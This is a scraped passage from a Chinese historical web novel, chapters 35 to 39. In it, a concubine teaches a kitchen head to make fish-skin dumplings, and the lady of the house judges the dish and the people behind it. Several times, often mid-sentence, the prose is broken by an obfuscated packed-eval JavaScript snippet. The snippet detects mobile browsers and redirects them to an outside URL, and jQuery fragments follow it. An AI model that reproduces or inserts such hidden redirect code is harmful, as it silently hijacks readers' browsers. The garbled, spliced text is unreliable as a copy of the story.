;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385417|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要是能抓住机会,让侯夫人对你有些好感,岂不是更好?你可得尽心些,把这碗饺子做好。” 冬暖听了,先就起了一身鸡皮疙瘩:“你……你这不是吓唬人么?你就是要吓唬我们小娘,不,你这是威胁和恐吓。” “这怎么就成威胁了?奴婢哪儿有那本事来威胁你们小娘,做妾室的本就要把夫主服侍好,不然再有本事讨好侯夫人有什么用。侯夫人又不是为了吃她那碗吃食,才点头让她进府的。”婵儿的眼睛像刀子似的在柏芷兮身上剜了一下。 婵儿就不明白了,一个婷婷袅袅、妖妖娆娆的美人儿,天生就是做妾室的痞子,要借厨房做吃食争宠也就罢了,怎么转眼间就变成要跟她们抢饭吃了? 徐氏都吃惯了他们大厨房的手艺了,一道菜稍微尝上一两口就知道是谁做的了,就算柏芷兮主动相让,不说是她献出的食方,也不说提点过夏姑姑手艺,难不成徐氏就能一直不知道她吃的这些跟别人有关? 在她看来,柏芷兮就是故意的,表面上说是功劳都给他们,拿来换大厨房的屋子,实际上屋子她也想要,名声和赏赐最后她也会要到。 凭什么呢,既然都做了妾室,就该好好地做下去,想想怎么服侍姜奕辰,怎么早日生下子嗣,偏偏来跟他们这些手艺人抢饭吃。 “还请婵儿姑娘带路,一切都等把鱼皮饺做出来,看看侯夫人满不满意再说吧。就算没有我,要是大厨房这几日再做不出令侯夫人满意的吃食,也是不好的,对吧?” 柏芷兮伸手拦住要冲上去的冬暖,面上淡淡地道。 徐氏出身皇商之家,她身上有门户观念,可这种观念远没有真正的侯门和官家女那般坚实。 最近恐怕是吃烦了府里的吃食了,要的就是这口新鲜的,要是再没有,怕是她也再要从府外请位新厨子过来了。 到时候这位一样会跟他们抢饭吃,不,这位可是专门的厨子,一定比她更能跟他们抢。 第35章 府里的爷们会不会都有毛病? 这东西做不好,砸的是他们的饭碗。 柏芷兮好歹是后宅女眷,她的本分不是庖厨,就算她做不好,那西院儿还有她的一席之地,可这些后厨的人就不是。虽说东家不干西家干,可能定安侯府这样的主家也不是哪儿都能遇上的。 婵儿像被噎住了似的,轻哼了一声,没再说什么。 冬暖满眼怒气地瞪着婵儿,生怕她再说出什么触霉头的话。 柏芷兮没说什么,表面上好像并没有当真,就是当真了也跟她没关系似的,其实内心里不是没有触动的。 长远侯府的事儿她之前就听说过,只是听一耳朵也就过去了,婵儿刚开口的时候,她没对上号而已。 这贺家到了这一代同样也是子嗣单薄,因此无论是嫡子还是庶子屋里都蓄满了妾室和通房,而这位谢夫人就对儿子们的这些个妾室、通房规训甚严。 因着这么回事儿,这些个妾室、通房各个用心服侍,恨不得使出十八般手段,孩子这些年倒是生下来几个,可就是没几个活得长的,大多都在五岁前就夭折了,活下来的身子也不大好。 那些个妾室、通房简直惶惶不可终日,可是孩子能不能长成,也不是他们说了能算的。这些个孩子哪个不是养尊处优、金尊玉贵的养着,可就是想尽了法子也活不长,这能怪谁?她们又能怎么办? 可是谢夫人的家法在那儿摆着,谁不想挨打、不想被赶出府去,就得加紧怀孩子,哪怕只是怀过呢,至少能让她们消停几个月,要是生下来了那至少能太平几年,总比这么隔三差五地老挨打强。 不过这谢夫人对正经儿媳妇却是不错的,因此外面即便有说他们闲话的,也就是当些逸闻了,没几个会真心为那些个上不得台面的小妇考虑。 这外间也都说了,这贺家八成是有什么祖上传下来的病,是骨头里带着的,要是强求子嗣,这些个女人可就惨了。 柏芷兮想的不是别的,她没道理物伤其类到事事感同身受的地步,徐氏她不了解,但看起来还算宽厚。 柏兰姵听说有动家法的时候,但听说都是事出有因,不会用这种明显非人力所能及的事儿惩罚底下的人,她用不着担心过那种头上天天顶着板子过的日子。 她担心的是这定安侯府的男人会不会也有类似的问题,要不然怎么就这么多的女人就只有姜士明这么一根独苗还不是个全乎的呢? 从她的角度来看,那长远侯府的谢夫人如果不是个毒妇,这么做就是借着折腾这些个妾室、通房的名义,故意弄得声势浩大、满城风雨,为的就是给他们家的男丁正名,把生不下康健子嗣的原因扣在这些个女人身上。 要不然谢夫人对孙子、孙女都这般渴求了,她还能忍得住不为难儿子们的正妻,只去为难那些小妇?妾室、通房不得用了,赶出去或是送到庄子里再或是送去出家就完了,还弄得这么难看做什么? 说白了,是苦了那些女人了,可这都是做给别人看的…… 柏芷兮不是不同情那些女人,是她同情了也没用,她自己都是什么人了,哪儿还有本事去同情别人,她担心的是她的是如果她的担忧是真的,她生不下子嗣,之后该怎么办。 按照道理说,要是她生不下,姚初蕊和陶丝绣之后都没再生下个全乎孩子,柏兰姵定是要再弄几个人进府的,但如果这样之后还是没能生下孩子呢? 柏兰姵、徐氏还有那个还没有交集的长嫂世子夫人葛氏……他们该不会变的跟这位谢夫人一样吧? 柏芷兮脑子里幻想着长远侯府里责打妾室和通房的情景,脸都有些白了,不行不行,她得赶紧想想法子。 孩子的事儿她是没办法了,她也不敢干出那种事儿,她是得赶紧学学陶丝绣,这名分上的事儿多半改不了,可是要是能让这些人在心里把她当作一个管事儿的对待,就像陶丝绣一样,或许是条活路…… 想到这里,柏芷兮加快了脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385418|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步,快得冬暖都有些跟不上了,进厨房之前,她还特别和善地对着婵儿说了句: “婵儿姑娘瞧着比我小不了几岁,这时间过得可快了,好多小时候的事儿就像发生在昨天一样,没几年姑娘也要及笄了吧?” “无论姑娘是怎么打算的,在这大厨房若能混出了头,不说做个管事儿,就是能在侯夫人和世子夫人面前当个有名有姓的人,对将来也是有好处的。” “要是姑娘想往前走一步,我这儿还有些小食的食方,也可以交给你。你放心,我到底是四房的妾室,我的东西是给你还是给你师父,我还是说了算的。” “何况给你师父是大菜,给你的是小食、小菜,不冲突,我还担心因为我闹起来了,你们都觉得是我故意的呢,再对我有什么意见……” 眼前就是厨房的门儿了,夏姑姑就在里面等着,柏芷兮微微笑了一下,在婵儿手背上轻柔得不能再轻柔地拍了两下,一提裙角,门槛儿一跨就进去了。 婵儿这才反应过来,想追过去驳上几句,可是她的脚就要跨过门槛儿的时候,她忽然就停下了,还把脚收了回去,到廊子下面站着去了。 大厨房的师父教菜是有规矩的,得师父明着说了让你进去,你才能进去帮着打下手,顺便跟着学。 别看今日柏芷兮教夏姑姑的只是一碗鱼皮饺,夏姑姑嘴上说这就是哄着侯夫人的一碗小食,就是个小玩意儿。 可是呢,料备好了,器物也让工匠连夜赶着做出了个差不离的,现在让她把柏芷兮请过来,还提前交待了让她在外面廊子里守着,不让她进去。 做师父的要留后手,她能理解,等到她做了师父了,她也会这么做,她也不是想对她师父怎么样,可是在这内宅,总得自己找路走吧? 柏芷兮刚刚有些话打动了她,内宅的这些女人争着讨爷们的欢心、生子嗣,为的还不是一个前程、一个老有所依?她们这些个侍女也一样要前程。 第36章 殊途同归 她们这些个侍女所求的前程不外乎就是到了年纪放出去嫁人,之后无论是相夫教子,还是去庄子上做事,再或是那些个得脸的还能进内宅当妈妈、嬷嬷,都好。 要是那等没前程的,多半所嫁非人,夫家是那等苛责还没什么进项的,后半辈子生养上几个孩子,一窝一起穷,还得经常被丈夫打骂。 这些个女子想再出来做事都难了,一是家里上上下下多少张嘴都等着她糊弄着,家里那些事儿忙都忙不过来。 再者,成亲后过得这般不体面,主家也会觉得这样的人不好,至少是个没有福运的,加上让这样的人进去伺候,难道还要把这些鸡零狗碎的事说给主子听么?污了主子们的耳朵是定然不行的,因此这样的人怕是难再找活计了,就是找到了多半也是做些粗重的杂活儿。 而无论是前程好的,还是不好的,她们折腾大半辈子,为的都是一个老有所依、老有所养,不至于穷困潦倒、食不果腹、无人安葬地离开这人世。 婵儿的嘴角忽然诡异地勾了一下,她刚刚脑子里忽然灵光一现,这样想来其实她们所求的跟这些妾室里最终的下场也没差多少。 那些个妾室,得宠的自是不必说了,要是生了子嗣,这子嗣将来又是个有本事、有前程的,这妾室没准儿能当上贵妾的,甚至也有那等刚好赶上正室夫人殁了的,她就被扶正了也未可知。 就算没有这样的运道,依旧是个良妾,托了儿女的福,主母也不会轻待了去,也算是能衣食温饱、老有所养了。等到人没了,还能葬到祖坟的边上,就算是圆满了。 可是,这都是最好的结局,世间之时不如意者居多,之所以这些人能被人羡,还被说是个好福气的,就是因为这样的人太少,至少不多。 这些个妾室,多数会是什么下场呢? 一般的妾室,没有子嗣和子嗣平庸、没什么作为的,等老了能有口饭吃就不错了,早早地就被打发到庄子上或是观里过活,**也是埋在别的地方。 要是那些个通房,恐怕等她们年纪大了,主家都不大记得她们是谁了,要么就行同仆妇一样死去,要么……甚至有中途被主家赏赐给小厮和外头的庄户的,就那么的跟着过日子去了。 这样的是最惨的,因为她们的前半生已经见识过了这些高门里的富贵和繁华,陡然间成了小厮、庄户甚至是屠夫、力工家的娘子,叫她们如何能甘心? 这样的人就是外头的日子还算殷实也是过不好的,最后熬干了心气儿和心血,下场还未必有她们这些奴婢好。 婵儿暗暗咂舌,都是想让后半辈子有所依托、有安生日子过之后离开时再体面一些,这倒是挺殊途同归的。 不过,刚才柏芷兮真正打动婵儿的不是这点共通的体谅,而是说到前程上,柏芷兮不像其他人那样认定了她们这些奴婢就是想往主子榻上爬的。 更有趣的是,柏芷兮也没有说她们要的是何种前程,没有说她一定不会走那条上进的路,更没有说一定会,这在后宅的这些女子中尤其是妾室中,可太难得了。 这要是换成他们西院儿的姚小娘,要是想拿什么吊着她让她帮什么忙,肯定会说,要是她听话,将来也抬举她做个通房,生个一儿半女地再抬个妾室当当,也能混成半个主子。 婵儿都没察觉到自己笑了,站在她旁边的冬暖看到了,瞪了她一眼,小声警告道: “我可警告你,别想着对我们小娘不好,我家小娘懂得可多了,得宠是早晚的事儿。” 婵儿笑了笑:“我对她怎么了?也没怎么吧,就是说了一桩趣事……喂,你倒是说说她还会什么?她平时也教你么?” “那教的可多了……” 冬暖说起这些就没完,她能跟着柏芷兮陪嫁过去,妆奁和刺绣、缝纫那一套可是太熟了,要不然怎么能帮柏芷兮打下手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15394016|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一说就没完了,两个小丫头站在廊子下面小声咬耳朵,嘀嘀咕咕地都打开了话匣子。婵儿这才发现,论起本事,除了厨艺,她竟然连冬暖都比不上了,至少没冬暖全面。 诶,都说这内宅卧虎藏龙了,连一个瘦马的侍女都这么厉害,这世道还让不让人活了…… 柏芷兮进了厨房之后,夏姑姑就将门关上了,她满脸堆笑地请柏芷兮查验准备好的食材和器物: “这是小娘要的鲮鱼、栗子粉、马蹄粉、姜粉、胡椒……这是那剔刺和捶肉的东西,你看,这样可还行?” 柏芷兮一一看过了:“都是上好的东西,不过这鲮鱼略微大了些,最好是一斤上下的鱼,最多不超过一斤半,比这种两斤往上的要嫩。” “咱们做别的菜用这两斤往上的鱼,是为了肉多、刺还能相对少些,可现在咱们有法子把刺剔干净了,就不在乎这些刺是多是少了,只为了一个肉嫩。” “这姜粉是可以的,不过这栗子粉、马蹄粉要是能拿了栗子、马蹄来,咱们自己烤干了来磨粉,就更好。我看后面那拍屋舍有火墙、火炕,火候把握的好了,自己弄最好,做别的菜的时候也能用到。” “还有这胡椒,最好要整颗的,不能碎,更不要磨成粉的。虽然直接用粉料也不是不行,但到底味道上要差一些。” 夏姑姑听了不住地点头:“其实这几样粉料也是最近才磨出来的,不过都是外面的人做好了之后再送进来的,到底没有自己动手磨出来的放心。” “小娘家的食肆……从前定是在当地有名号的,要不然养不出这富贵口。” 柏芷兮笑着默认了,没有细说,其实这真是夏姑姑高看她了,她家那食肆当初是有些名气不错,但也绝不是什么富贵口。 她这一套都是揽月苑调理出来的,据说这揽月苑背后的主子家里养着御厨呢,萧大娘子教导起她们来自然也更精心。 第37章 送去 柏芷兮没有点破,只是笑而不语,只当作她家的食肆当初在当地要更有名些,这事儿等到将来她更被他们这些人接受了,再点破也不迟。 夏姑姑去柜子里取了未研磨的整颗胡椒粒出来,就见柏芷兮烧了一锅底的热水,然后用锤子现砸碎了胡椒粒,然后连壳带瓤子地一起放进了热水里熬煮,很快就熬出了白汤。 柏芷兮笑道:“这胡椒定要这般整颗挤碎了,壳儿还不能太碎,就这么一起熬了水出来,之后做皮儿和调馅儿便不用清水了,用这个才行。” “这样做出来的鱼皮饺才一点儿腥味儿都吃不出来,口感也更脆些,这在别家可是不知道的。” 平时做菜、调馅儿用粉料就可以了,她这道却不用,直接用胡椒煮出的水调馅儿,还尤其强调了要借用胡椒整壳儿的香气。 待将汤底的渣子滤净,柏芷兮就开始做皮儿、调馅儿,她先将三条鲮鱼处理干净,之后各从背部劈成两半儿,去了头之后将鱼肉塞入那器物,只稍一用力,就看见那些个刺纷纷扎穿鱼肉翘了起来,拿出镊子,熟练地将翘起的鱼刺拔出。 这器物的作用便是靠着对软、韧、硬的区分,让所有的鱼刺都翘起来,这样可以最大限度地减少鱼的小刺遗漏在鱼肉里,之后做皮儿的时候扎了手,或是扎了吃的人的嘴。 待鱼肉成糜,她便开始将鱼糜当作面粉“和面”,右手拿着筷子在鱼糜中朝着一个方向打圈儿,左手一会儿往里撒一些栗子粉,一会儿用小勺往里面加上一点刚刚煮好的胡椒水。 之后调馅儿,她先将猪肉用那特质的小锤顺着纹理一顿敲锤,然后又将这肉用力在钉板上摔打了十几回,这才切碎成肉臊,再拿着筷子用那胡椒水配上马蹄粉将馅儿调匀,这才开始包饺子。 “这饺子要饱满,这肚子要绷起来,捏的边儿一定要窄而薄。大小要比饺子小一些,但要比馄饨大一些,更像是抄手大小。” “之后煮的时候,这汤要用白萝卜、芹菜熬煮后滤了汤渣的那种,再将刚才剩下的胡椒水一起放下去……” 柏芷兮每做一步,夏姑姑就跟着做一步。柏芷兮每次先做,做完就看夏姑姑做得对不对,然后提出错处和可以改进的地方,但她至始至终都没有碰过夏姑姑做的吃食。 夏姑姑被柏芷兮教着,她是个带惯了徒弟的人,很少跟人学菜,就算是学,也不会是现在这般心情。 夏姑姑敢很肯定的说,她此刻心里一点儿厌烦的意思都没有,因为她特别喜欢被柏芷兮教的感觉。 柏芷兮这个师父当得不仅没有一点为人师的架子,反而她的一举一动、一颦一笑都像是从哪幅仕女图里抠出来的一样。 她的声音也很轻柔,就像这世上最名贵的琴弦,发出的声音不仅悦耳动听,即便你把耳朵堵住了,它们也还是一点一点地钻进了你的耳朵和心里,让你不由得就想跟着她走、跟着她做。 等到做完了,柏芷兮主动把自己做的给夏姑姑尝,夏姑姑也盛了一小碗出来给柏芷兮尝。 夏姑姑自己也是尝过自己做的了,她觉着还是柏芷兮做的好:“小娘这手艺真是没得说,奴婢佩服,要是可以,奴婢也想把小娘做的呈给侯夫人试试。” 柏芷兮笑着摇头摇头:“说好了怎样便怎样,这功劳我不抢。要是换了别人,怕是根本就不会相信我说的,那就更加不敢尝试了,这就当谢你有识人之才吧。” “再说了,这大厨房人多口杂的,万一有个说不清楚的地方,姑姑不怕,我却是怕的。也不瞒着姑姑,这事儿还真是姑姑去做最合适。” “要是侯夫人吃的好了,回头有了赏赐了,别忘了给我也留一份儿,沾沾喜气……姑姑要是实在过意不去,这厨房的事儿,就帮我尽尽力吧。” 夏姑姑见识过了柏芷兮的真本事,还哪儿敢托大,当下便和柏芷兮笑闹了几句,之后便道: “小娘放心,这功劳奴婢绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15394017|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会一个人受了,等到有合适的机会,我定会将今日之事一五一十地说给侯夫人听,也帮着你打消那些人的念想。” “你就等着好消息吧,最坏也还有这大厨房的一间屋呢,就算侯夫人不许,我也想法子给你腾一间出来。只是如此以来,这屋子恐怕最多只能借给你一年左右了。” 这样的事能帮她在侯夫人徐氏面前露脸,慢慢地徐氏对她的出身便不会那么在意了,要是再肯跨上她几句手巧、心也巧,那就太好了。 别人再怎么议论也只是议论,只要徐氏肯说她好,在这府里又还有谁会说她身世的闲话,就算说,也影响不了她站稳脚了。 柏芷兮由衷地端起一旁的茶盏,以茶代酒跟夏姑姑碰了以下:“那我可就要等姑姑的好消息了,大恩不言下。” 夏姑姑又客气了几句,直到把柏芷兮送走,她脚下都是飘的,接下来的两日,她练了又练,虽说那鱼皮饺做的比起柏芷兮还有些差距,可是已经足够讨人喜欢的了。 这两日,就连大厨房刚入府的小厮、小丫鬟都有了口福,顿顿都有鱼皮饺子吃,下人们是不常吃鱼的,借着这鱼皮饺都饱了口福了。 到了第三日上,夏姑姑经过柏芷兮的亲自试吃和评判,终于宣布她可以出师了,她便做了一碗给徐氏送去。 这时候已经要入秋了,赶上了夏天的尾巴,正是干热得厉害的时候,徐氏这几日是一点胃口都没有,尤其是侯爷姜定武常叫了她去一起用饭,吃的大鱼大肉多了,一看见肉的东西就烦。 夏姑姑却是知道徐氏口味的,徐氏自来无肉不欢,只是一时吃腻了而已,但要让她超过三日不吃肉,哪怕是也不行的。 说句不太尊重的话,往日徐氏斋戒,要么就是偷吃过东西的,要么就是度日如年的,好不容易才熬过去。 这会儿没了胃口,说是不吃肉了,可徐氏心里那个想啊,可一想到那种油腻的感觉,瞬间就打了退堂鼓。 第38章 侯夫人徐氏 徐氏瞧见夏姑姑亲自端了一碗东西进来,先就有些无趣了:“都说了不吃了,你这是又做了什么进来?可别又是那些个肉汤煮的面、鱼肉熬的粥。” “上回那碗鱼肉粥可把我给吃伤了,还被小刺扎了舌了,你别以为鱼不是惯常吃的肉,就以为我吃得下去。” 徐氏这几日吃不进东西,偏偏到了别院和庄子的掌事儿过来报账的日子了,这是最劳心费神的,偏偏她还饿着,真是劳累得不行。 也难怪她挑剔些,夏姑姑将碗和勺子都放好,亲手捧到徐氏面前:“夫人请尝尝,这鱼皮饺子可还合胃口?这是奴婢新学的小食,已经让好几个人尝过了,个个都说脆口而不油腻。” “鱼皮饺?就是之前去白大人家赴宴,席上吃的那道?也没多少特别的,就是皮儿比馄饨薄一些、齐整些,那馅儿稍微筋道了些。” 徐氏心里没抱多大希望,她眼皮儿都没怎么抬,只以为就是在白府吃过的那道。 不过夏姑姑是厨房的老人儿了,还是她自己儿子姜奕辰从外面重金礼聘回来的,她不好驳了夏姑姑的面子。 夏姑姑却坚持着:“这可是奴婢特意学来的,保准不一样,不信您尝一个,就一个就行,保证您吃完还想吃。” “学?没听说你出府啊,是跟府里的谁学的?”徐氏这才来了点兴致,她没听说府里来了新厨子,难道是别的什么人? 她顺势就拿起勺子,盛起一个饺子吃了进去,几乎是瞬间她的眼睛就睁大了,因为只是一口,就有一股鱼肉的清冽之香回味于唇齿之间。 紧接着便是那股脆、弹的感觉从第一个触上饺子皮儿的门牙处渲了开来,还有这馅儿,看着像是什么菜都没放,却自有一股清新之感。 老实说鱼肉做馅儿、做皮儿,很容易有腥气,就算用姜蒜和香料把腥气给去了,也容易出水。 有些鱼肉馅儿的饺子、包子稍微一放,皮儿都湿了,这便是出水了,弄得皮儿也不好看了,当真遗憾。 “这是鱼皮饺?跟在白家吃的,除了形状,再没有什么相同的。这里面的馅儿是鱼肉?不对,像是猪肉,但是也丝毫没有膻味儿。” “说是鱼皮饺,鱼肉是加在皮儿里的,你这碗东西也定是加了,但肯定不同。来说说看,说不定让我听听这法子够不够巧妙?” 徐氏边说边吃,很快一大碗鱼皮饺就下了肚,这还不够,后面竟然又多用了半碗。 徐氏是内宅之人,徐家是皇商也还没有那开酒肆、食肆的,她打听这方子就是图个新鲜、乐呵。 夏姑姑没什么不愿意的,就像讲故事一般把每个步骤都大概讲了讲,她先是没有提芷小娘,可是她说的时候不自觉地就把柏芷兮的一些和神情、语态带了出来。 徐姑姑听着听着便有眉目了:“你这手艺定不是跟哪位庖厨学的,这是沾染了脂粉气的。我看你这师父定是位姑娘家,让我猜猜,这该不会是四房那个新纳的妾室整出来的花活儿吧?” 夏姑姑愣住了,没想到徐氏一下子就猜到了,还直接点破了,当下便有些心惊肉跳。 也不知道徐氏对柏芷兮是什么态度,万一就是死咬着不松口,她就算只要给柏芷兮一间厨房都得偷偷摸摸的。 夏姑姑想到这些为难的地方,便硬着头皮笑道:“侯夫人明鉴,这食方和做法的确来自这位芷小娘。奴婢也没想到,就那么一个娇滴滴的、刚及笄的小娘子,竟然有这样的手艺。” “奴婢问了才知道,这芷小娘的家里从前就是开食肆的,这道鱼皮饺就是她家家传的,在她们老家那可是独一份。” “奴婢一下子就晓得这芷小娘从前也是良籍,只不过家道中落才流落到了揽月苑那种地方,她又是个清白的,这才入了府。” “奴婢便想着这道小食可以学,只要做得地道,也不算辱没了夫人的名声,要是做得不地道,还请夫人赐教,奴婢回去就改了。” 徐氏打量了夏姑姑几眼,笑道:“行了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400825|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别揣测我的心思了。就是一道吃食,它再好,不也是吃食么?谁做的,又有什么关系?” “这个芷小娘就是柏家收的那个养女吧?我知道她,要是真介意她的出身,我压根儿就不会松口让她进府。” “诶,话赶话的,这还就想起来了,你可别让她知道,当初不想让她进府的可是辰儿呢。依辰儿的意思是,既然柏家就是想要个孩子从小养在兰佩名下,那还不简单。” “就算非要这位芷小娘来生,那干脆养在府外好了,孩儿一落地就悄悄地送进府里来不就行了?还是我跟侯爷说那样不好,万一这芷小娘真是个有造化的,那孩子将来知道了自己的生母被如此对待,可不是得落下怨恨了?” “而且这世上没有不透风的墙,万一将来传出去了,说这孩儿的生母是个外室,那孩子的名声也要毁了。还是接进来比较好,如今倒是好了,看这碗饺子做的,就算辰儿不喜欢,将来让她管些事儿也不错。” 要说子嗣的前途,其实除了继承家业的那个嫡子,其余的嫡子和庶子差距并没有那么大,可是外室子和婢生子就不一样了,外面说什么话的都有。 尤其是外室子,这时候的人已经知道滴血认亲这种戏码不见得能当真了,外室住的地方不比府里高墙永隔、守卫成群,谁知道平时看不住了,会不会有别的男子去过? 尽管当事的男子大部分都是能确定这孩子是不是自己的的,可是从常理上说却不是,外室子就是被受歧视的,甚至他们当中的大部分一辈子都得不到家族的承认。 徐氏当时考虑的也是这一点,定安侯府子嗣单薄,她早先找过一个高明的医者,对方说查不出这府里的男丁和夫人、妾室有什么大问题,大体还是祖上联姻、亲上作亲的太多了,把血脉给折腾出问题来了。 这时候要是来那么一个出身低一些,籍贯之地离南安都远一些,而且祖上保证跟他们家没有任何血缘关系的女子,或许能够诞下子嗣,扭转乾坤…… 第39章 这是个惜命的人 柏兰姵提出要柏芷兮进府的时候,徐氏就特意打听过,确定柏芷兮祖籍是南边儿的,祖上跟姜、徐两家没有任何关系,才点的头。 徐氏嫁给定安侯姜定武续弦之后,共生下了一女两子,这两个儿子里最出挑的就是姜奕辰。 世子姜奕德至今无子,若是将来也没有,要走过继的路,或是这中间有什么变动,姜奕辰要是能有一个身子康健的儿子,无论事情发展到哪一步,无疑他都会有优势。 徐氏这才允许柏芷兮进了府,还给了良妾的位子,依照姜奕辰本来的意思,他是不打算接柏芷兮进府的,最多就是置个外室,他现在的心思可都在那市令的差事上呢。 见夏姑姑没答话,尴尬地在一旁又替她盛了几个饺子,她笑了笑,声音里带了些玩笑的意味: “你说实话,这鱼皮饺儿是谁做的?是你还是她?你别怕,你也在府里这么久了,应该知道我用你,不只是看你庖厨的手艺好,还得是你这个人可靠。” 只要她说实话,即便这碗鱼皮饺不是她做的,也没什么,一个人能不能管着大厨房又不是手艺好就成的。 夏姑姑心里一阵感慨,还好听了柏芷兮的,她只是跟柏芷兮如何做,并没有让柏芷兮替她做,因此她这会儿回答起来才足够的理直气壮: “这碗的确是奴婢自己做的,不过奴婢也不瞒夫人,是芷小娘要求奴婢自己做的。她说食材是大厨房的,又是奴婢自己做的,做的时候她又不在场,这样奴婢放心,夫人吃着也放心。” “奴婢想着也是,她是个小心谨慎的人,奴婢又何尝不是?这样刚刚好,毕竟她才刚入府,又是从那种地方来的。不是奴婢有偏见,就是柏家的人和四夫人恐怕都不大了解她吧。” “奴婢就想着,等日子再长一点,等奴婢再跟她熟悉下,看看她的为人和品行如何。要是个好的,再让她给夫人做吃食也不迟。说起来,虽然名分上不正,可实际上,这也是您的儿媳妇,谁还拦得住她孝敬您?” 徐氏听了都笑出声来:“偏你们都是小心翼翼的人,不过,究竟是你担心,才不想让她来做,她又刚好说出这些话来,迎合了你的心思?” “还是说她担心的不是我吃了舒不舒坦,她担心的是万一出了事儿,她说不清楚,她想要明哲保身才说服了你自己做?” 徐氏目中含笑,就那样注视着夏姑姑的眼睛,明明听起来像是在开玩笑,却无形中容不下半句谎言。 夏姑姑都这年纪了,又是经年累月在内宅主事的人,心里也难免要咯噔一下,她口中不自觉地吞咽了一下: “奴婢瞧着……是后者,芷小娘是一个很惜命的人,也是一个很聪明的人。她知道自己刚刚进府,在府内毫无根基,四夫人于她也不是真姐妹,就是在大厨房里也是人生地不熟的,没个熟识的人。” “她的手艺好,模样也好,就算眼下不得宠,这大厨房里的婢子们,还有这后宅各房里的不知道哪一个万一就堤防上了,甚至出手了,在她做的吃食里放点儿什么。” “她可就洗不清了,到时候她还能指望谁去?也就是这样她才如此小心谨慎,特意叮嘱了一定要奴婢亲自动手,她是断断不会插手的。” 徐氏的意思很明白,她希望夏姑姑这个人能让她信任。 夏姑姑也恍然大悟,她之前是一叶障目了,以为能把菜做好,尤其能做出大厨房里的独一份儿就是好的,但其实她是大厨房的掌事,最应该做到的是会用人,能平衡当中的各方势力,让大厨房这个整体把事情办好。 这会儿明白过来了,夏姑姑不再犯傻,自然把她之前就察觉到的都说了。 没承想,徐氏却笑得更厉害了:“她是个有心思的,还懂得量力而行,难得的是年纪轻轻却懂得不贪功、不托大,自己力所不逮的事儿,就不去沾手。” “不过,你说她做这鱼皮饺的功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400826|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是祖传的?她是这么跟你说的?要我说你真是个实诚人,我问你,她流落到揽月苑时才多大?” “她父母过世时又才多大?况且我听说她父母是年纪轻轻的时候意外过世的,她才那么几岁,她父母还能提前知道自己要出事了把手艺传给她不成?” “她这方子,大概真是祖上传下来的,可要说手艺还不是在揽月苑学的?她说两句你就信,可见你是个爱才的,欣赏她的手艺,才会她说什么你就信什么。” 夏姑姑又是一愣,连忙打自己的嘴:“奴婢这是年纪大了,最见不得这些小的里出个手艺好的,一见就少不得觉得他们做什么都是好的,犯了什么错儿都是事出有因的。” 